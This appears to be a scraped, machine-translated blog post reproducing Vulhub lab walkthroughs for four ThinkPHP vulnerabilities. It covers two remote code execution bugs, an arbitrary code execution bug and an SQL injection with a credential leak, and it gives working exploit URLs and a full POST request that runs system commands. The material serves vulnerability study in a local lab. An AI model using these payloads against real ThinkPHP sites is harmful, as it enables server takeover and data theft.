当前位置:网站首页>Vulhub vulnerability recurrence 68_ ThinkPHP
Vulhub vulnerability recurrence 68_ ThinkPHP
2022-07-06 05:17:00 【Revenge_ scan】
One 、 ThinkPHP 2.x Arbitrary code execution vulnerability
Vulnerability Details
ThinkPHP 2.x In the version , Use `preg_replace` Of `/e` Pattern matching routing :
```php
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
```
Causes the user's input parameters to be inserted into double quotation marks , Cause Arbitrary Code Execution Vulnerability .
ThinkPHP 3.0 Version because Lite This vulnerability is not fixed in mode , There is also this loophole .
Environment building
shooting range :192.168.4.10_ubuntu
Execute the following command to start ThinkPHP 2.1 Of Demo application :
#docker-compose up -d
After the environment starts , visit `http://your-ip:8080/` You can view the default page .

Loophole recurrence
Direct access `http://your-ip:8080/index.php?s=/index/index/name/$%[email protected]()%7D` Can execute `phpinfo()`:

Two 、 ThinkPHP5 5.0.23 Remote code execution vulnerability
Vulnerability Details
ThinkPHP It is a widely used PHP Development framework . Its 5.0.23 In previous versions , obtain method The method name is not handled correctly in the method of , Causes an attacker to call Request Class any method and construct the utilization chain , This leads to a Remote Code Execution Vulnerability .
Reference link :
-https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003
Vulnerability environment
Execute the following command to start a default thinkphp 5.0.23 Environmental Science :
#docker-compose up -d
After the environment starts , visit `http://your-ip:8080` You can see the default ThinkPHP Launch page .

Loophole recurrence
Send packet :
```
POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
```
Successful execution `id` command :

3、 ... and 、 ThinkPHP5 5.0.22/5.1.29 Remote code execution vulnerability
Vulnerability Details
ThinkPHP It is a widely used PHP Development framework . Its version 5 in , Because the controller name was not handled correctly , This results in the situation that the website does not turn on forced routing ( By default ) Any method can be executed , This leads to a remote command execution vulnerability .
Reference link :
- http://www.thinkphp.cn/topic/60400.html
- http://www.thinkphp.cn/topic/60390.html
- https://xz.aliyun.com/t/3570
Vulnerability environment
function ThinkPHP 5.0.20 edition :
#docker-compose up -d
After the environment starts , visit `http://your-ip:8080` You can see ThinkPHP Default startup page .
Loophole recurrence
Direct access `http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1`, Can execute phpinfo:

Four 、 ThinkPHP5 SQL Inject holes && Leakage of sensitive information
Running environment
#docker-compose up -d
After starting , visit `http://your-ip/index.php?ids[]=1&ids[]=2`, You can see that the user name is displayed , It indicates that the environment runs successfully .
Loophole principle
Explanation of vulnerability principle :
- https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html
- https://xz.aliyun.com/t/125
Exploit
visit `http://your-ip/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1`, The information was successfully revealed :

Of course , This is a chicken rib SQL Inject holes . But through DEBUG page , We found the account number of the database 、 password :

This is another sensitive information disclosure vulnerability .
边栏推荐
- Leetcode dynamic planning day 16
- acwing周赛58
- [NOIP2008 提高组] 笨小猴
- [leetcode daily question] number of enclaves
- [leetcode16] the sum of the nearest three numbers (double pointer)
- Questions d'examen écrit classiques du pointeur
- [effective Objective-C] - memory management
- HAC集群修改管理员用户密码
- Chip debugging of es8316 of imx8mp
- Codeforces Round #804 (Div. 2) Editorial(A-B)
猜你喜欢
![[classic example] binary tree recursive structure classic topic collection @ binary tree](/img/39/0319c4be43716f927b9d98d89f7655.jpg)
[classic example] binary tree recursive structure classic topic collection @ binary tree

Leetcode dynamic planning day 16

The ECU of 21 Audi q5l 45tfsi brushes is upgraded to master special adjustment, and the horsepower is safely and stably increased to 305 horsepower

浅谈镜头滤镜的类型及作用

Microblogging hot search stock selection strategy

Cve-2019-11043 (PHP Remote Code Execution Vulnerability)

Zynq learning notes (3) - partial reconfiguration

Can the feelings of Xi'an version of "Coca Cola" and Bingfeng beverage rush for IPO continue?

Idea one key guide package

idea一键导包
随机推荐
Hometown 20 years later (primary school exercises)
Codeforces Round #804 (Div. 2) Editorial(A-B)
Lepton 无损压缩原理及性能分析
yolov5 tensorrt加速
Three. JS learning - light and shadow (understanding)
驱动开发——第一个HelloDDK
Driver development - hellowdm driver
[buuctf.reverse] 159_ [watevrCTF 2019]Watshell
Fiddler installed the certificate, or prompted that the certificate is invalid
指针经典笔试题
Check the useful photo lossless magnification software on Apple computer
UCF (summer team competition II)
【OSPF 和 ISIS 在多路访问网络中对掩码的要求】
Force buckle 1189 Maximum number of "balloons"
The video in win10 computer system does not display thumbnails
集合详解之 Collection + 面试题
Zynq learning notes (3) - partial reconfiguration
[noip2009 popularization group] score line delimitation
Figure database ongdb release v-1.0.3
Biscuits (examination version)